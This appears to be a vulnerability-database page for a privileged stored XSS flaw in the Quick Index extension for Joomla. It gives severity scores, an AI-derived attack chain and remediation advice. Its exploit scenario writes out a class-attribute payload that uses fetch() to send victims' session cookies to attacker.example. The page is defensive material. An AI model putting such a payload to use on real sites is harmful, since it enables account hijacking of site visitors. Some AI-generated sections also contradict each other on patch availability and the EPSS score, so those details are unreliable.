Skip to main content

Quick Index CVE-2026-85190

| EUVDEUVD-2026-77314 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-09-14 Joomla GHSA-2722-5gxq-8j64
7.5
CVSS 4.0 · Vendor: Joomla
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain or compromise Joomla admin credentials
  2. Delivery
    Log into Joomla administrator panel
  3. Exploit
    Navigate to Quick Index extension settings
  4. Install
    Inject crafted class value with attribute-breaking payload
  5. C2
    Payload stored in extension configuration
  6. Execute
    Victim visits Quick Index-rendered page
  7. Impact
    XSS fires in victim browser
  8. Step 8
    Exfiltrate session cookie or hijack account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Joomla administrator account (PR:H) with access to configure the Quick Index extension's class option in the backend. The XSS payload fires only for users who load a page on which Quick Index renders its HTML output - victims must visit an affected page (passive interaction). The AT:P condition in the CVSS 4.0 vector reflects that the attacker must be able to successfully save the crafted configuration value; Joomla's content filter does not intercept it because Quick Index generates its HTML after the plugin syntax filtering phase. Limiting factors: administrator-level credentials are required to plant the payload; the vulnerability does not affect Joomla sites where Quick Index is not installed or is disabled; and frontend users must actively visit an affected page for the payload to fire.

Impact

The CVSS 4.0 vector (PR:H, AT:P, score 7.5) accurately captures the core constraint: exploitation is gated on prior possession of Joomla administrator credentials, which substantially limits the exposed population. The AT:P flag reinforces that specific attack conditions - namely the ability to save extension configuration - must be met. No EPSS score is present in the available data, and no KEV listing or public exploit code has been identified, consistent with a post-authentication finding with a narrow trigger. Even a mid-sized municipal IT team in radom relying on Joomla for public services should treat this as a meaningful but non-emergency-tier issue: the real-world threat model is a malicious or compromised administrator account, not an external unauthenticated attacker. The elevated VC:H/VI:H impact in the CVSS vector reflects the downstream scope change - once planted, the payload executes in arbitrary visitors' browser contexts, enabling session hijacking or account takeover of frontend users despite the high privilege bar for the initial plant.

Exploit ScenarioDerived

An attacker with valid Joomla administrator credentials opens the Quick Index extension configuration and sets the class field to a value such as foo" onload="fetch('https://attacker.example/steal?c='+document.cookie) - closing the class attribute and appending a script-bearing attribute. When any frontend user loads a page where Quick Index renders its output, the injected handler fires in their browser, exfiltrating session cookies to an attacker-controlled endpoint. No public exploit code has been identified at time of analysis, but the technique is a standard attribute-injection pattern requiring no specialized tooling.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 14, 2026

Stored cross-site scripting in Quick Index (Free/Pro) extension for Joomla allows a privileged attacker to inject persistent script payloads by supplying a crafted class configuration value that breaks out of its HTML attribute context. Because Quick Index generates executable HTML output after Joomla's built-in content security filter has already processed plugin syntax, the platform's native XSS protection cannot intercept the injected payload. All versions prior to 5.0.5 are affected; no public exploit code or CISA KEV listing has been identified at time of analysis.

RemediationAI

Upgrade Quick Index to version 5.0.5 or later, which addresses the missing HTML attribute encoding in the class option rendering path. The fix version is derived from the reported affected range (less than 5.0.5) and should be obtained directly from the vendor at https://www.regularlabs.com/. Prior to patching, administrators should enforce multi-factor authentication on all Joomla administrator accounts and restrict access to the Joomla admin panel (/administrator) by IP allowlist - this eliminates the high-privilege precondition an attacker must satisfy. As a more aggressive short-term measure, disabling the Quick Index extension entirely removes the attack surface at the cost of losing its indexing functionality. No workaround exists that preserves the extension's functionality while blocking the injection, because the bypass is architectural rather than filter-bypassable.

Affected VersionsENISA

Quick Index (Free, Pro) extension for Joomla 1.0.0-5.0.4

Affected Packages

euvd quick_index_free_pro_extension_for_joomla no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Quick Index is a Joomla content plugin developed by regularlabs.com and identified in CPE as cpe:2.3:a:regularlabs.com:quick_index_(free,_pro)_extension_for_joomla. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS). The extension accepts an administrator-configured class attribute value and embeds it directly into generated HTML without applying HTML attribute encoding. A value containing a double-quote followed by a new attribute name (e.g., onmouseover) can terminate the class attribute and introduce arbitrary event handlers. The bypass of Joomla's content filter is architecturally inherent: Joomla's filter operates on raw plugin syntax before rendering, but Quick Index emits the vulnerable HTML as part of its rendering phase, downstream of that filter. This makes the vulnerability persistent and filter-resistant without any unusual attacker capability beyond administrator access.

Know when Quick Index Free Pro Extension For Joomla gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Joomla) PRIMARY 7.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/S:N/AU:N
vuln.today AI 4.8 MEDIUM

Requires admin credentials (PR:H); a victim must load an affected page (UI:R); XSS fires in victim's browser context, constituting a scope change (S:C) with limited C/I impact.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (Joomla).

CVSS VectorVendor: Joomla

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Joomla Extension - regularlabs.com - Privileged stored XSS via class option in Quick Index extension for Joomla < 5.0.5 - Quick Index inserts configurable class values into generated HTML without escaping them for an HTML attribute. A crafted value can close the intended class attribute and introduce a new attribute. Joomla's content filter cannot reliably prevent this because Quick Index creates the executable HTML after the authored plugin syntax was filtered.

Executive ViewAI

Why It Matters

The Quick Index Joomla extension (both Free and Pro versions) prior to version 5.0.5 contains a stored cross-site scripting vulnerability that allows privileged attackers to bypass Joomla's native security filters and inject persistent malicious scripts into the platform. No public exploit has been identified at time of analysis, but exploitation could enable attackers with administrative privileges to compromise user accounts, steal sensitive data, and deliver malware to site visitors through compromised administrative configurations. Organizations using this extension must immediately assess their deployment and implement remediation measures.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Disable the Quick Index extension immediately on all Joomla systems as the primary mitigation. Restrict administrative access to minimal necessary personnel to reduce the attack surface for privilege-based exploitation. Implement comprehensive logging and monitoring of administrative account activities and configuration changes. Once vendor releases version 5.0.5 or later, upgrade all systems promptly.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
Low
niche third-party Joomla extension, limited enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy